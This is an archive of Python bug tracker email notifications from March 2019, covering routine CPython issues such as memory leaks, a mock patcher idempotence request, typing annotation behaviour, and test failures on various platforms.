From report at bugs.python.org  Tue Mar 19 11:15:04 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 15:15:04 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553008504.43.0.319690655451.issue36356@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

At least, "./python -V" no longer leaks at commit dcf617152e1d4c4a5e7965733928858a9c0936ca.

$ ./configure --with-valgrind
$ make
$ valgrind ./python -V
==9553== Memcheck, a memory error detector
==9553== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==9553== Using Valgrind-3.14.0 and LibVEX; rerun with -h for copyright info
==9553== Command: ./python -V
==9553== 
Python 3.8.0a2+
==9553== 
==9553== HEAP SUMMARY:
==9553==     in use at exit: 0 bytes in 0 blocks
==9553==   total heap usage: 33 allocs, 33 frees, 5,933 bytes allocated
==9553== 
==9553== All heap blocks were freed -- no leaks are possible
==9553== 
==9553== For counts of detected and suppressed errors, rerun with: -v
==9553== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:24:35 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 15:24:35 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553009075.66.0.704484978812.issue36236@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12396

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:32:41 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 19 Mar 2019 15:32:41 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553009561.19.0.776090527471.issue36236@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

It seems to work:

? uname -a
Darwin C02VL073HTDG 18.2.0 Darwin Kernel Version 18.2.0: Thu Dec 20 20:46:53 PST 2018; root:xnu-4903.241.1~1/RELEASE_X86_64 x86_64

? pwd
/tmp/check

/tmp/check
? rm -rf ../check

/tmp/check
? ~/github/cpython/python.exe -m pdb
usage: pdb.py [-c command] ... [-m module | pyfile] [arg] ...

Debug the Python program given by pyfile. Alternatively,
an executable module or package to debug can be specified using
the -m switch.

Initial commands are read from .pdbrc files in your home directory
and in the current directory, if they exist.  Commands supplied with
-c are executed after commands from .pdbrc files.

To let the script run until an exception occurs, use "-c continue".
To let the script run up to a given line X in the debugged file, use
"-c 'until X'".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:37:32 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 15:37:32 +0000
Subject: [issue36347] Add the constant READWRITE for PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1553009852.11.0.762563071822.issue36347@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@Serhiy

I have updated my branch with your recommendation.

1. rename READONLY, etc... to PY_READONLY. 
Why the PY_ prefix, because there was a renaming for WRITE_RESTRICTED to PY_WRITE_RESTRICTED. in that case, I wanted to keep the same change.

2. Updated the documentation
2.1. Add a "former constant" column in newtypes.rst
3. Update all the references in the code.
4. Replace the 0 by PY_READWRITE.

Voil?,

If you have another suggestion, tell me.

Have a nice day,

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:39:02 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 15:39:02 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1553009942.83.0.00696949354625.issue36347@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
title: Add the constant READWRITE for PyMemberDef -> Renaming the constants for the .flags of PyMemberDef

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:41:34 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 19 Mar 2019 15:41:34 +0000
Subject: [issue36363] Wrong type when missname dataclass attribute with
 existing variable name
In-Reply-To: <1553002190.66.0.121651684689.issue36363@roundup.psfhosted.org>
Message-ID: <1553010094.98.0.435053850117.issue36363@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I am not sure this is a problem with dataclasses. dataclasses acts upon information from cls.__dict__.get('__annotations__', {}) at [0] and sets the type attribute for the field. Seems like using a valid identifier (class or function) used as class attribute along with defining it as optional type of the same name sets None type in annotation. Also happens when a class attribute is used with optional type for another attribute as in Spam class This more feels like a behavior with typing module. I am adding typing module maintainers for clarification.

# bpo36363.py

import typing

class Baz:
    pass

class Bar:
    pass

class Foo:
    baz: typing.Optional[Bar] = None
    Bar: typing.Optional[Bar] = None

class Spam:
    bar: typing.Optional[Bar] = None
    baz: typing.Optional[bar] = None

print(Foo.__dict__.get('__annotations__', {}))
print(Spam.__dict__.get('__annotations__', {}))

$ ./python.exe ../backups/bpo36363.py
{'baz': typing.Union[__main__.Bar, NoneType], 'Bar': <class 'NoneType'>}
{'bar': typing.Union[__main__.Bar, NoneType], 'baz': <class 'NoneType'>}


[0] https://github.com/python/cpython/blob/dcf617152e1d4c4a5e7965733928858a9c0936ca/Lib/dataclasses.py#L828

----------
nosy: +gvanrossum, levkivskyi, xtreak
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36363>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:50:00 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Tue, 19 Mar 2019 15:50:00 +0000
Subject: [issue35998] test_asyncio: test_start_tls_server_1() TimeoutError on
 Fedora 29
In-Reply-To: <1550225538.04.0.738886867119.issue35998@roundup.psfhosted.org>
Message-ID: <1553010600.6.0.222372281552.issue35998@roundup.psfhosted.org>


Charalampos Stratakis <cstratak at redhat.com> added the comment:

On my system with openssl 1.1.1b, by reducing the PAYLOAD_SIZE the test passes successfully.

It starts failing when it's bigger than 1024 * 95

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35998>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:54:24 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 19 Mar 2019 15:54:24 +0000
Subject: [issue36308] Fix warning in _PyPathConfig_ComputeArgv0
In-Reply-To: <1552681534.57.0.740918728874.issue36308@roundup.psfhosted.org>
Message-ID: <1553010864.8.0.356492984897.issue36308@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

This issue is already been handled in https://github.com/python/cpython/pull/12441

----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36308>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:56:32 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 15:56:32 +0000
Subject: [issue36308] Fix warning in _PyPathConfig_ComputeArgv0
In-Reply-To: <1552681534.57.0.740918728874.issue36308@roundup.psfhosted.org>
Message-ID: <1553010992.06.0.434771471873.issue36308@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Yep, Victor has started the refactoring/cleaning after my PR, but I close this one and the issue.

----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36308>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:57:41 2019
From: report at bugs.python.org (Samuel Freilich)
Date: Tue, 19 Mar 2019 15:57:41 +0000
Subject: [issue36366] Patcher stop method should be idempotent
Message-ID: <1553011061.53.0.157389839215.issue36366@roundup.psfhosted.org>


New submission from Samuel Freilich <sfreilich at google.com>:

Currently, it's an error to call the stop() method of a patcher object created by mock.patch repeatedly:

>>> patch = mock.patch.object(Foo, 'BAR', 'x')
>>> patch.start()
'x'
>>> patch.stop()
>>> patch.stop()
RuntimeError: stop called on unstarted patcher

This causes unnecessary problems when test classes using mock.patch.stopall for cleanup are mixed with those cleaning up patches individually:

class TestA(unittest.TestCase):

  def setUp():
    patcher = mock.patch.object(...)
    self.mock_a = patcher.start()
    self.addCleanup(patcher.stop)

  ...


class TestB(TestA):

  def setUp():
    super().setUp()
    self.addCleanup(mock.patch.stopall)
    self.mock_b = mock.patch.object(...).start()

  ...


This fails because mock.patch.stopall stops the patch set up in TestA.setUp(), then that raises an exception when it's stopped again.

But why does patcher.stop() enforce that precondition? Wouldn't it be sufficient for it to just enforce the postcondition, that after stop() is called the patch is stopped()? That would make it easier to write test code which makes use of mock.patch.stopall, which allows the proper cleanup of patches to be configured much more concisely.

----------
messages: 338371
nosy: sfreilich
priority: normal
severity: normal
status: open
title: Patcher stop method should be idempotent

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36366>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:59:39 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 15:59:39 +0000
Subject: [issue36366] Patcher stop method should be idempotent
In-Reply-To: <1553011061.53.0.157389839215.issue36366@roundup.psfhosted.org>
Message-ID: <1553011179.98.0.536680350563.issue36366@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@Samuel,

1. What's the version of Python?
2. Could you provide a script with an example?

Thank you

----------
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36366>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:04:57 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 19 Mar 2019 16:04:57 +0000
Subject: [issue36308] Fix warning in _PyPathConfig_ComputeArgv0
In-Reply-To: <1552681534.57.0.740918728874.issue36308@roundup.psfhosted.org>
Message-ID: <1553011497.58.0.228622642864.issue36308@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Thanks for the time detecting this, opening this issue and the PR (and all the others), St?phane! :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36308>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:06:46 2019
From: report at bugs.python.org (cagney)
Date: Tue, 19 Mar 2019 16:06:46 +0000
Subject: [issue35866] concurrent.futures deadlock
In-Reply-To: <1548929111.09.0.517798780255.issue35866@roundup.psfhosted.org>
Message-ID: <1553011606.75.0.819310200432.issue35866@roundup.psfhosted.org>


Change by cagney <andrew.cagney at gmail.com>:


----------
nosy: +cagney

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35866>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:07:11 2019
From: report at bugs.python.org (cagney)
Date: Tue, 19 Mar 2019 16:07:11 +0000
Subject: [issue35809]
 test_concurrent_futures.ProcessPoolForkExecutorDeadlockTest fails
 intermittently on Travis and passes in verbose mode
In-Reply-To: <1548251301.46.0.302427080079.issue35809@roundup.psfhosted.org>
Message-ID: <1553011631.81.0.940884332694.issue35809@roundup.psfhosted.org>


Change by cagney <andrew.cagney at gmail.com>:


----------
nosy: +cagney

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35809>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:08:15 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 19 Mar 2019 16:08:15 +0000
Subject: [issue36366] Patcher stop method should be idempotent
In-Reply-To: <1553011061.53.0.157389839215.issue36366@roundup.psfhosted.org>
Message-ID: <1553011695.57.0.534850134046.issue36366@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +cjw296, mariocj89, michael.foord

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36366>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:10:41 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 16:10:41 +0000
Subject: [issue36308] Fix warning in _PyPathConfig_ComputeArgv0
In-Reply-To: <1552681534.57.0.740918728874.issue36308@roundup.psfhosted.org>
Message-ID: <1553011841.02.0.597496069477.issue36308@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

That was funny to use gdb and valgrind for the debugging session. Now I can help you for the refleaks ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36308>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:12:41 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Tue, 19 Mar 2019 16:12:41 +0000
Subject: [issue36367] tokenizer.c memory leak in case of realloc failure
Message-ID: <1553011961.19.0.135862122832.issue36367@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

In tokenizer.c we have those lines of code [0]:

if (final_length < needed_length && final_length)
    /* should never fail */
    buf = PyMem_REALLOC(buf, final_length);
return buf;

If however that realloc fails, the memory allocated initially for buf, will not be freed.

[0] https://github.com/python/cpython/blob/master/Parser/tokenizer.c#L652

----------
messages: 338375
nosy: cstratak
priority: normal
severity: normal
status: open
title: tokenizer.c memory leak in case of realloc failure

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36367>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:13:45 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 19 Mar 2019 16:13:45 +0000
Subject: [issue35866] concurrent.futures deadlock
In-Reply-To: <1548929111.09.0.517798780255.issue35866@roundup.psfhosted.org>
Message-ID: <1553012025.03.0.766143798094.issue35866@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

This seem related to https://bugs.python.org/issue35809

----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35866>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:15:12 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 19 Mar 2019 16:15:12 +0000
Subject: [issue35866] concurrent.futures deadlock
In-Reply-To: <1548929111.09.0.517798780255.issue35866@roundup.psfhosted.org>
Message-ID: <1553012112.64.0.645785801384.issue35866@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Could you use gdb/lldb to attach to the process hanging and give us a stack trace?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35866>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:18:55 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 19 Mar 2019 16:18:55 +0000
Subject: [issue36367] tokenizer.c memory leak in case of realloc failure
In-Reply-To: <1553011961.19.0.135862122832.issue36367@roundup.psfhosted.org>
Message-ID: <1553012335.26.0.893025906847.issue36367@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
keywords: +patch
pull_requests: +12397
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36367>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:32:31 2019
From: report at bugs.python.org (Ben Harper)
Date: Tue, 19 Mar 2019 16:32:31 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553013151.3.0.12512589971.issue36356@roundup.psfhosted.org>


Ben Harper <btharper1221 at gmail.com> added the comment:

I'm on Ubuntu 18.10/amd64 compiling with Ubuntu's GCC 8.2.0, I know there's some libraries that are missing dependencies (including bz2 and sqlite) so I may have missed the ipv6 dependencies as well.

My eventual goal was to be able to build a pgo optimized build of cpython with the address sanitizer turned on. Currently on my build of f5f336a819 I see 12 failing tests and a heap use after free as part of the ctypes test suite. 

The ctypes use after free has already been submitted as bpo-36253 since it was the only thing asan caught during tests with the leak sanitizer turned off.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:32:39 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 19 Mar 2019 16:32:39 +0000
Subject: [issue36366] Patcher stop method should be idempotent
In-Reply-To: <1553011061.53.0.157389839215.issue36366@roundup.psfhosted.org>
Message-ID: <1553013159.93.0.267562359596.issue36366@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

When mock.patch is creates a patch object and patch.start calls __enter__ that sets is_local. On stop __exit__ is called where a check is done is to make sure is_local attribute is present and then cleanup is done along with deleting calling del self.is_local so calling stop second time causes the attribute check to fail. There is no specific reason I could find with git history. 

It seems that calling patch.stop without patch.start makes cleanup to happen on unpatched objects and raises errors which I hope is avoided by always setting is_local on start and removing it on stop like a flag. That being said I am not sure why a early return couldn't be made when is_local is absent instead of proceeding with cleanup logic or raising a runtime error. I see no tests failing on early return except a test where RuntimeError is intentionally tested by calling stop on unstarted patch. I have added mock module devs for some context.

A sample script would be as below : 

from unittest import mock

class Foo:
    bar = None

patch = mock.patch.object(Foo, 'bar', 'x')
patch.start()
patch.stop()
patch.stop()

----------
nosy: +xtreak
type:  -> behavior
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36366>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:38:01 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Tue, 19 Mar 2019 16:38:01 +0000
Subject: [issue36368] server process of shared_memory shuts down if
 KeyboardInterrupt
Message-ID: <1553013481.49.0.145631506322.issue36368@roundup.psfhosted.org>


New submission from Pierre Glaser <pierreglaser at msn.com>:

When starting a SharedMemoryManager in an interactive session, any KeyboardInterrupt event will be transmitted to the (sub)process running the shared memory server, which causes the Manager to be unusable thereafter:

>>> from multiprocessing.managers import SharedMemoryManager
>>> smm = SharedMemoryManager()
>>> smm.start()
>>> start typing something wrong
KeyboardInterrupt
>>> sl = smm.ShareableList(range(10))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/pierreglaser/repos/cpython/Lib/multiprocessing/managers.py", line 1342, in ShareableList
    with self._Client(self._address, authkey=self._authkey) as conn:
  File "/home/pierreglaser/repos/cpython/Lib/multiprocessing/connection.py", line 502, in Client
    c = SocketClient(address)
  File "/home/pierreglaser/repos/cpython/Lib/multiprocessing/connection.py", line 629, in SocketClient
    s.connect(address)
FileNotFoundError: [Errno 2] No such file or directory


I suggest ignoring SIGINT in the server process.

----------
files: 0001-FIX-protect-shared_memory-server-from-SIGINT.patch
keywords: patch
messages: 338380
nosy: davin, pierreglaser, pitrou
priority: normal
severity: normal
status: open
title: server process of shared_memory shuts down if KeyboardInterrupt
type: crash
versions: Python 3.8
Added file: https://bugs.python.org/file48222/0001-FIX-protect-shared_memory-server-from-SIGINT.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36368>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:39:09 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 16:39:09 +0000
Subject: [issue36263] test_hashlib.test_scrypt() fails on Fedora 29
In-Reply-To: <1552317311.05.0.612992750251.issue36263@roundup.psfhosted.org>
Message-ID: <1553013549.02.0.818348528883.issue36263@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Update: my OpenSSL PR https://github.com/openssl/openssl/pull/8483 has been merged and new a new OpenSSL package for Fedora is being tested: https://bugzilla.redhat.com/show_bug.cgi?id=1688284

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36263>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:39:58 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 16:39:58 +0000
Subject: [issue36215] Should AppVeyor run compile Python in debug mode?
In-Reply-To: <1551892607.07.0.699747283695.issue36215@roundup.psfhosted.org>
Message-ID: <1553013598.34.0.49409655214.issue36215@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Doubling CI time would be painful.  How often are buildbot failure due to the build or test-arg differences, as opposed to system differences?

Yeah, you're right. Such issue is really rare, so I'm ok to leave the pre-commit CI as it is ;-)

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36215>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:41:30 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 16:41:30 +0000
Subject: [issue35752] test_buffer fails on ppc64le: memoryview pack_single()
 is miscompiled
In-Reply-To: <1547657478.14.0.363235930119.issue35752@roundup.psfhosted.org>
Message-ID: <1553013690.87.0.470130009248.issue35752@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

The root issue was a bug in GCC which has been fixed. Fedora Rawhide got the new fixed GCC and so I close the issue.

----------
resolution:  -> third party
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35752>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:42:19 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 16:42:19 +0000
Subject: [issue35462] test_imaplib.test_enable_UTF8_True_append() failed on
 AMD64 FreeBSD 10-STABLE Non-Debug 3.7
In-Reply-To: <1544536562.99.0.788709270274.issue35462@psf.upfronthosting.co.za>
Message-ID: <1553013739.98.0.87538221047.issue35462@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

See also bpo-36348.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35462>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:42:32 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 16:42:32 +0000
Subject: [issue36348] test_imaplib.RemoteIMAP_STARTTLSTest.test_logout() fails
 randomly
In-Reply-To: <1552921033.43.0.82087415933.issue36348@roundup.psfhosted.org>
Message-ID: <1553013752.85.0.561376121047.issue36348@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

See also bpo-35462.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36348>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:49:39 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 16:49:39 +0000
Subject: [issue35388] _PyRuntime_Initialize() called after Py_Finalize() does
 nothing
In-Reply-To: <1543849990.49.0.788709270274.issue35388@psf.upfronthosting.co.za>
Message-ID: <1553014179.92.0.563438832025.issue35388@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12398
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35388>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:50:36 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 16:50:36 +0000
Subject: [issue35388] _PyRuntime_Initialize() called after Py_Finalize() does
 nothing
In-Reply-To: <1543849990.49.0.788709270274.issue35388@psf.upfronthosting.co.za>
Message-ID: <1553014236.0.0.584313473543.issue35388@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

PR 12443 fix the issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35388>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:53:21 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 19 Mar 2019 16:53:21 +0000
Subject: [issue36363] Wrong type when missname dataclass attribute with
 existing variable name
In-Reply-To: <1553002190.66.0.121651684689.issue36363@roundup.psfhosted.org>
Message-ID: <1553014401.11.0.0506977205445.issue36363@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

class Spam:
    bar: typing.Optional[bar] = str

class Spaz:
    bar: typing.Optional[bar] = None

print(Spam.__annotations__)
print(Spaz.__annotations__)

{'bar': typing.Union[str, NoneType]}
{'bar': <class 'NoneType'>}

In Spam bar has str assigned to it and seems like in Spaz bar is assigned None and hence during annotation creation this evaluates to bar: typing.Optional[None] where None is the value of bar and in Spam.bar it's typing.Union[str, NoneType] instead.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36363>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:58:02 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 19 Mar 2019 16:58:02 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1553014682.17.0.534609190401.issue34160@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

> how that's acceptable?

For docutils, we'll most likely propose some variant of St?phane Wirtel's script to test semantic equivalence for docutils.  For other cases, Serhiy is working on a C14N canonicalization tool which is specifically designed for the task of creating reproducible output, in a cross-language standards compliant way.

As Stefan Behnel clearly articulated, there are multiple reasons why Python should not guarantee byte-for-byte serialization across point releases.  That said, we'll likely make the guarantee across micro-releases.  That will make it possible a third mitigation strategy of generating new baseline files for a new point releases and adding a version check to decide which baseline to test against.

FWIW, we had a similar discussion regarding hash randomization.  While there are a number of significant differences, the outcome is relevantL  User tests that depended on non-guaranteed implementation details had to be fixed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Tue Mar 19 13:15:25 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 19 Mar 2019 17:15:25 +0000
Subject: [issue36363] Wrong type when missname dataclass attribute with
 existing variable name
In-Reply-To: <1553002190.66.0.121651684689.issue36363@roundup.psfhosted.org>
Message-ID: <1553015725.71.0.67252333007.issue36363@roundup.psfhosted.org>


Guido van Rossum <guido at python.org> added the comment:

A simpler example shows it has nothing to do with annotations -- it is simply behavior of the typing module.

>>> import typing
>>> typing.Optional[str]
typing.Union[str, NoneType]
>>> typing.Optional[None]
<class 'NoneType'>
>>> 

I don't think there's a bug here, and I am closing this as "not a bug". The problem in the original code is that the annotation references a global name that is shadowed by a local (to the class body) name, and because of the initialization, the latter takes precedence.  (To see for yourself, use the dis module to disassemble the code for Spam and Spaz.)

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36363>
_______________________________________

From report at bugs.python.org  Tue Mar 19 13:15:33 2019
From: report at bugs.python.org (Ben Harper)
Date: Tue, 19 Mar 2019 17:15:33 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1553015733.41.0.510683086257.issue36356@roundup.psfhosted.org>


Change by Ben Harper <btharper1221 at gmail.com>:


----------
pull_requests: +12399

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 13:17:17 2019
From: report at bugs.python.org (Thomas Knox)
Date: Tue, 19 Mar 2019 17:17:17 +0000
Subject: [issue36369] test_weakref super slow on RPi Zero
Message-ID: <1553015837.07.0.00449042281864.issue36369@roundup.psfhosted.org>


New submission from Thomas Knox <tknox at mac.com>:

When building Python 3.7.2 on a Raspberry Pi Zero W, it takes over 6 hours to run test_weakref, and almost 15 hours total to run through all the tests.

14:28:14 load avg: 1.00 [396/416] test_weakset -- test_weakref passed in 6 hour 24 min

Does it really need to take this long for one test?

----------
components: Tests
messages: 338390
nosy: DNSGeek
priority: normal
severity: normal
status: open
title: test_weakref super slow on RPi Zero
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36369>
_______________________________________

From report at bugs.python.org  Tue Mar 19 13:18:05 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 19 Mar 2019 17:18:05 +0000
Subject: [issue36367] tokenizer.c memory leak in case of realloc failure
In-Reply-To: <1553011961.19.0.135862122832.issue36367@roundup.psfhosted.org>
Message-ID: <1553015885.93.0.131243151812.issue36367@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:


New changeset cb90c89de14aab636739b3e810cf949e47b54a0c by Pablo Galindo in branch 'master':
bpo-36367: Free buffer if realloc fails in tokenize.c (GH-12442)
https://github.com/python/cpython/commit/cb90c89de14aab636739b3e810cf949e47b54a0c


----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36367>
_______________________________________

From report at bugs.python.org  Tue Mar 19 13:18:20 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 19 Mar 2019 17:18:20 +0000
Subject: [issue36367] tokenizer.c memory leak in case of realloc failure
